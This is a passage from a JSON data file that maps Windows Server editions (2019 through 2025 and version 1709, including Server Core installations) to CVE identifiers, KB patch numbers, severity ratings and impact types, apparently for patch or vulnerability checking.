Execution\"},{\"cve\":\"CVE-2025-50154\",\"kb\":\"5063877\",\"severity\":\"Important\",\"impact\":\"Spoofing\"},{\"cve\":\"CVE-2025-53149\",\"kb\":\"5063877\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2025-59287\",\"kb\":\"5070883\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"}],\"Windows Server 2019 (Server Core installation)\":[{\"cve\":\"CVE-2018-0886\",\"kb\":\"4551853\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-8411\",\"kb\":\"4464330\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2018-8423\",\"kb\":\"4464330\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-8453\",\"kb\":\"4464330\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2018-8544\",\"kb\":\"4467708\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-8550\",\"kb\":\"4467708\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2018-8584\",\"kb\":\"4467708\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0543\",\"kb\":\"4480116\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0552\",\"kb\":\"4480116\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0555\",\"kb\":\"4487044\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0570\",\"kb\":\"4480116\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0571\",\"kb\":\"4480116\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0572\",\"kb\":\"4480116\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0573\",\"kb\":\"4480116\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0574\",\"kb\":\"4480116\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0730\",\"kb\":\"4493509\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0731\",\"kb\":\"4493509\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0732\",\"kb\":\"4493509\",\"severity\":\"Important\",\"impact\":\"Security Feature Bypass\"},{\"cve\":\"CVE-2019-0735\",\"kb\":\"4493509\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0796\",\"kb\":\"4493509\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0805\",\"kb\":\"4493509\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0836\",\"kb\":\"4493509\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0841\",\"kb\":\"4493509\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-1069\",\"kb\":\"4503327\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-1322\",\"kb\":\"4519338\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-1476\",\"kb\":\"4530715\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2020-0642\",\"kb\":\"4534273\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2020-0668\",\"kb\":\"4532691\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2020-0787\",\"kb\":\"4538461\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2020-1027\",\"kb\":\"4549949\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2020-1048\",\"kb\":\"4551853\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2020-1054\",\"kb\":\"4551853\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2020-1337\",\"kb\":\"4565349\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2020-1464\",\"kb\":\"4565349\",\"severity\":\"Important\",\"impact\":\"Spoofing\"},{\"cve\":\"CVE-2020-1472\",\"kb\":\"4601345\",\"severity\":\"Critical\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2020-24587\",\"kb\":\"5003171\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2020-24588\",\"kb\":\"5003171\",\"severity\":\"Important\",\"impact\":\"Spoofing\"},{\"cve\":\"CVE-2021-1675\",\"kb\":\"5003646\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2021-1732\",\"kb\":\"4601345\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2021-22947\",\"kb\":\"5009557\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2021-24091\",\"kb\":\"4601345\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2021-26863\",\"kb\":\"5000822\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2021-27094\",\"kb\":\"5001342\",\"severity\":\"Important\",\"impact\":\"Security Feature Bypass\"},{\"cve\":\"CVE-2021-28447\",\"kb\":\"5001342\",\"severity\":\"Important\",\"impact\":\"Security Feature Bypass\"},{\"cve\":\"CVE-2021-34527\",\"kb\":\"5004947\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2021-36942\",\"kb\":\"5005030\",\"severity\":\"Important\",\"impact\":\"Spoofing\"},{\"cve\":\"CVE-2021-40444\",\"kb\":\"5005568\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2021-40449\",\"kb\":\"5006672\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2022-27776\",\"kb\":\"5015811\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2022-30190\",\"kb\":\"5014692\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2022-32230\",\"kb\":\"5013941\",\"severity\":\"Important\",\"impact\":\"Denial of Service\"},{\"cve\":\"CVE-2022-35737\",\"kb\":\"5034127\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2023-20569\",\"kb\":\"5029247\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2023-28252\",\"kb\":\"5025229\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2023-31096\",\"kb\":\"5073723\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2023-36874\",\"kb\":\"5028168\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2023-38039\",\"kb\":\"5032196\",\"severity\":\"Low\",\"impact\":\"Denial of Service\"},{\"cve\":\"CVE-2023-44487\",\"kb\":\"5031361\",\"severity\":\"Important\",\"impact\":\"Denial of Service\"},{\"cve\":\"CVE-2023-50868\",\"kb\":\"5039217\",\"severity\":\"Important\",\"impact\":\"Denial of Service\"},{\"cve\":\"CVE-2024-21338\",\"kb\":\"5034768\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2024-38193\",\"kb\":\"5041578\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2024-38217\",\"kb\":\"5043050\",\"severity\":\"Important\",\"impact\":\"Security Feature Bypass\"},{\"cve\":\"CVE-2024-49138\",\"kb\":\"5048661\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2024-6197\",\"kb\":\"5044277\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2024-7344\",\"kb\":\"5050008\",\"severity\":\"Important\",\"impact\":\"Security Feature Bypass\"},{\"cve\":\"CVE-2025-24054\",\"kb\":\"5053596\",\"severity\":\"Important\",\"impact\":\"Spoofing\"},{\"cve\":\"CVE-2025-24071\",\"kb\":\"5053596\",\"severity\":\"Important\",\"impact\":\"Spoofing\"},{\"cve\":\"CVE-2025-24985\",\"kb\":\"5053596\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2025-26633\",\"kb\":\"5053596\",\"severity\":\"Important\",\"impact\":\"Security Feature Bypass\"},{\"cve\":\"CVE-2025-29824\",\"kb\":\"5055519\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2025-30397\",\"kb\":\"5058392\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2025-32706\",\"kb\":\"5058392\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2025-33053\",\"kb\":\"5060531\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2025-47827\",\"kb\":\"5066586\",\"severity\":\"Important\",\"impact\":\"Security Feature Bypass\"},{\"cve\":\"CVE-2025-47981\",\"kb\":\"5062557\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2025-50154\",\"kb\":\"5063877\",\"severity\":\"Important\",\"impact\":\"Spoofing\"},{\"cve\":\"CVE-2025-53149\",\"kb\":\"5063877\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2025-59287\",\"kb\":\"5070883\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"}],\"Windows Server 2022\":[{\"cve\":\"CVE-2021-22947\",\"kb\":\"5009555\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2021-34527\",\"kb\":\"5005575\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2021-40444\",\"kb\":\"5005575\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2021-40449\",\"kb\":\"5006699\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2021-45985\",\"kb\":\"5044281\",\"severity\":\"Important\",\"impact\":\"Denial of Service\"},{\"cve\":\"CVE-2022-27776\",\"kb\":\"5015827\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2022-30190\",\"kb\":\"5014678\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2022-35737\",\"kb\":\"5034129\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2023-20569\",\"kb\":\"5029250\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2023-28252\",\"kb\":\"5025230\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2023-31096\",\"kb\":\"5073457\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2023-36874\",\"kb\":\"5028171\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2023-38039\",\"kb\":\"5032198\",\"severity\":\"Low\",\"impact\":\"Denial of Service\"},{\"cve\":\"CVE-2023-44487\",\"kb\":\"5031364\",\"severity\":\"Important\",\"impact\":\"Denial of Service\"},{\"cve\":\"CVE-2023-50868\",\"kb\":\"5039227\",\"severity\":\"Important\",\"impact\":\"Denial of Service\"},{\"cve\":\"CVE-2024-21338\",\"kb\":\"5034770\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2024-38193\",\"kb\":\"5041160\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2024-38217\",\"kb\":\"5042881\",\"severity\":\"Important\",\"impact\":\"Security Feature Bypass\"},{\"cve\":\"CVE-2024-49138\",\"kb\":\"5048654\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2024-6197\",\"kb\":\"5044281\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2024-7344\",\"kb\":\"5049983\",\"severity\":\"Important\",\"impact\":\"Security Feature Bypass\"},{\"cve\":\"CVE-2025-24054\",\"kb\":\"5053603\",\"severity\":\"Important\",\"impact\":\"Spoofing\"},{\"cve\":\"CVE-2025-24071\",\"kb\":\"5053603\",\"severity\":\"Important\",\"impact\":\"Spoofing\"},{\"cve\":\"CVE-2025-24985\",\"kb\":\"5053603\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2025-26633\",\"kb\":\"5053603\",\"severity\":\"Important\",\"impact\":\"Security Feature Bypass\"},{\"cve\":\"CVE-2025-29824\",\"kb\":\"5055526\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2025-30397\",\"kb\":\"5058385\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2025-32706\",\"kb\":\"5058385\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2025-33053\",\"kb\":\"5060526\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2025-47827\",\"kb\":\"5066782\",\"severity\":\"Important\",\"impact\":\"Security Feature Bypass\"},{\"cve\":\"CVE-2025-47981\",\"kb\":\"5062572\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2025-50154\",\"kb\":\"5063880\",\"severity\":\"Important\",\"impact\":\"Spoofing\"},{\"cve\":\"CVE-2025-53149\",\"kb\":\"5063880\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2025-59287\",\"kb\":\"5070884\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"}],\"Windows Server 2022 (Server Core installation)\":[{\"cve\":\"CVE-2021-22947\",\"kb\":\"5009555\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2021-34527\",\"kb\":\"5005575\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2021-40444\",\"kb\":\"5005575\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2021-40449\",\"kb\":\"5006699\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2021-45985\",\"kb\":\"5044281\",\"severity\":\"Important\",\"impact\":\"Denial of Service\"},{\"cve\":\"CVE-2022-27776\",\"kb\":\"5015827\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2022-30190\",\"kb\":\"5014678\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2022-35737\",\"kb\":\"5034129\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2023-20569\",\"kb\":\"5029250\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2023-28252\",\"kb\":\"5025230\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2023-31096\",\"kb\":\"5073457\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2023-36874\",\"kb\":\"5028171\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2023-38039\",\"kb\":\"5032198\",\"severity\":\"Low\",\"impact\":\"Denial of Service\"},{\"cve\":\"CVE-2023-44487\",\"kb\":\"5031364\",\"severity\":\"Important\",\"impact\":\"Denial of Service\"},{\"cve\":\"CVE-2023-50868\",\"kb\":\"5039227\",\"severity\":\"Important\",\"impact\":\"Denial of Service\"},{\"cve\":\"CVE-2024-21338\",\"kb\":\"5034770\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2024-38193\",\"kb\":\"5041160\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2024-38217\",\"kb\":\"5042881\",\"severity\":\"Important\",\"impact\":\"Security Feature Bypass\"},{\"cve\":\"CVE-2024-49138\",\"kb\":\"5048654\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2024-6197\",\"kb\":\"5044281\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2024-7344\",\"kb\":\"5049983\",\"severity\":\"Important\",\"impact\":\"Security Feature Bypass\"},{\"cve\":\"CVE-2025-24054\",\"kb\":\"5053603\",\"severity\":\"Important\",\"impact\":\"Spoofing\"},{\"cve\":\"CVE-2025-24071\",\"kb\":\"5053603\",\"severity\":\"Important\",\"impact\":\"Spoofing\"},{\"cve\":\"CVE-2025-24985\",\"kb\":\"5053603\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2025-26633\",\"kb\":\"5053603\",\"severity\":\"Important\",\"impact\":\"Security Feature Bypass\"},{\"cve\":\"CVE-2025-29824\",\"kb\":\"5055526\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2025-30397\",\"kb\":\"5058385\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2025-32706\",\"kb\":\"5058385\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2025-33053\",\"kb\":\"5060526\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2025-47827\",\"kb\":\"5066782\",\"severity\":\"Important\",\"impact\":\"Security Feature Bypass\"},{\"cve\":\"CVE-2025-47981\",\"kb\":\"5062572\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2025-50154\",\"kb\":\"5063880\",\"severity\":\"Important\",\"impact\":\"Spoofing\"},{\"cve\":\"CVE-2025-53149\",\"kb\":\"5063880\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2025-59287\",\"kb\":\"5070884\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"}],\"Windows Server 2022, 23H2 Edition (Server Core installation)\":[{\"cve\":\"CVE-2021-45985\",\"kb\":\"5044288\",\"severity\":\"Important\",\"impact\":\"Denial of Service\"},{\"cve\":\"CVE-2023-2804\",\"kb\":\"5075897\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2023-31096\",\"kb\":\"5073450\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2023-50868\",\"kb\":\"5039236\",\"severity\":\"Important\",\"impact\":\"Denial of Service\"},{\"cve\":\"CVE-2024-21338\",\"kb\":\"5034769\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2024-38193\",\"kb\":\"5041573\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2024-38217\",\"kb\":\"5043055\",\"severity\":\"Important\",\"impact\":\"Security Feature Bypass\"},{\"cve\":\"CVE-2024-49138\",\"kb\":\"5048653\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2024-6197\",\"kb\":\"5044288\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2024-7344\",\"kb\":\"5049984\",\"severity\":\"Important\",\"impact\":\"Security Feature Bypass\"},{\"cve\":\"CVE-2025-21333\",\"kb\":\"5049984\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2025-24054\",\"kb\":\"5053599\",\"severity\":\"Important\",\"impact\":\"Spoofing\"},{\"cve\":\"CVE-2025-24071\",\"kb\":\"5053599\",\"severity\":\"Important\",\"impact\":\"Spoofing\"},{\"cve\":\"CVE-2025-24985\",\"kb\":\"5053599\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2025-26633\",\"kb\":\"5053599\",\"severity\":\"Important\",\"impact\":\"Security Feature Bypass\"},{\"cve\":\"CVE-2025-29824\",\"kb\":\"5055527\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2025-30397\",\"kb\":\"5058384\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2025-32706\",\"kb\":\"5058384\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2025-33053\",\"kb\":\"5060118\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2025-47827\",\"kb\":\"5066780\",\"severity\":\"Important\",\"impact\":\"Security Feature Bypass\"},{\"cve\":\"CVE-2025-47981\",\"kb\":\"5062570\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2025-50154\",\"kb\":\"5063899\",\"severity\":\"Important\",\"impact\":\"Spoofing\"},{\"cve\":\"CVE-2025-53149\",\"kb\":\"5063899\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2025-59287\",\"kb\":\"5070879\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"}],\"Windows Server 2025\":[{\"cve\":\"CVE-2021-45985\",\"kb\":\"5050009\",\"severity\":\"Important\",\"impact\":\"Denial of Service\"},{\"cve\":\"CVE-2023-31096\",\"kb\":\"5073379\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2024-49138\",\"kb\":\"5048667\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2024-7344\",\"kb\":\"5050009\",\"severity\":\"Important\",\"impact\":\"Security Feature Bypass\"},{\"cve\":\"CVE-2025-21333\",\"kb\":\"5050009\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2025-24054\",\"kb\":\"5053598\",\"severity\":\"Important\",\"impact\":\"Spoofing\"},{\"cve\":\"CVE-2025-24071\",\"kb\":\"5053598\",\"severity\":\"Important\",\"impact\":\"Spoofing\"},{\"cve\":\"CVE-2025-24985\",\"kb\":\"5053598\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2025-26633\",\"kb\":\"5053598\",\"severity\":\"Important\",\"impact\":\"Security Feature Bypass\"},{\"cve\":\"CVE-2025-29824\",\"kb\":\"5055523\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2025-30397\",\"kb\":\"5058411\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2025-32706\",\"kb\":\"5058411\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2025-33053\",\"kb\":\"5060842\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2025-47827\",\"kb\":\"5066835\",\"severity\":\"Important\",\"impact\":\"Security Feature Bypass\"},{\"cve\":\"CVE-2025-47981\",\"kb\":\"5062553\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2025-48799\",\"kb\":\"5062553\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2025-50154\",\"kb\":\"5063878\",\"severity\":\"Important\",\"impact\":\"Spoofing\"},{\"cve\":\"CVE-2025-53149\",\"kb\":\"5063878\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2025-59287\",\"kb\":\"5070881\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"}],\"Windows Server 2025 (Server Core installation)\":[{\"cve\":\"CVE-2021-45985\",\"kb\":\"5050009\",\"severity\":\"Important\",\"impact\":\"Denial of Service\"},{\"cve\":\"CVE-2023-31096\",\"kb\":\"5073379\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2024-49138\",\"kb\":\"5048667\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2024-7344\",\"kb\":\"5050009\",\"severity\":\"Important\",\"impact\":\"Security Feature Bypass\"},{\"cve\":\"CVE-2025-21333\",\"kb\":\"5050009\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2025-24054\",\"kb\":\"5053598\",\"severity\":\"Important\",\"impact\":\"Spoofing\"},{\"cve\":\"CVE-2025-24071\",\"kb\":\"5053598\",\"severity\":\"Important\",\"impact\":\"Spoofing\"},{\"cve\":\"CVE-2025-24985\",\"kb\":\"5053598\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2025-26633\",\"kb\":\"5053598\",\"severity\":\"Important\",\"impact\":\"Security Feature Bypass\"},{\"cve\":\"CVE-2025-29824\",\"kb\":\"5055523\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2025-30397\",\"kb\":\"5058411\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2025-32706\",\"kb\":\"5058411\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2025-33053\",\"kb\":\"5060842\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2025-47827\",\"kb\":\"5066835\",\"severity\":\"Important\",\"impact\":\"Security Feature Bypass\"},{\"cve\":\"CVE-2025-47981\",\"kb\":\"5062553\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2025-48799\",\"kb\":\"5062553\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2025-50154\",\"kb\":\"5063878\",\"severity\":\"Important\",\"impact\":\"Spoofing\"},{\"cve\":\"CVE-2025-53149\",\"kb\":\"5063878\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2025-59287\",\"kb\":\"5070881\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"}],\"Windows Server, version 1709 (Server Core Installation)\":[{\"cve\":\"CVE-2017-11830\",\"kb\":\"4048955\",\"severity\":\"Important\",\"impact\":\"Security Feature Bypass\"},{\"cve\":\"CVE-2017-11885\",\"kb\":\"4054517\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-0743\",\"kb\":\"4056892\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2018-0748\",\"kb\":\"4056892\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2018-0749\",\"kb\":\"4056892\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2018-0752\",\"kb\":\"4056892\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2018-0821\",\"kb\":\"4074588\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2018-0822\",\"kb\":\"4074588\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2018-0823\",\"kb\":\"4074588\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2018-0824\",\"kb\":\"4103727\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-0826\",\"kb\":\"4074588\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2018-0832\",\"kb\":\"4074588\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2018-0877\",\"kb\":\"4088776\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2018-0880\",\"kb\":\"4088776\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2018-0886\",\"kb\":\"4103727\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-0894\",\"kb\":\"4088776\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2018-0897\",\"kb\":\"4088776\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2018-0952\",\"kb\":\"4343897\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2018-0975\",\"kb\":\"4093112\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2018-0982\",\"kb\":\"4284819\",\"severity\":\"Important\",\"impact\":\"Elevation of 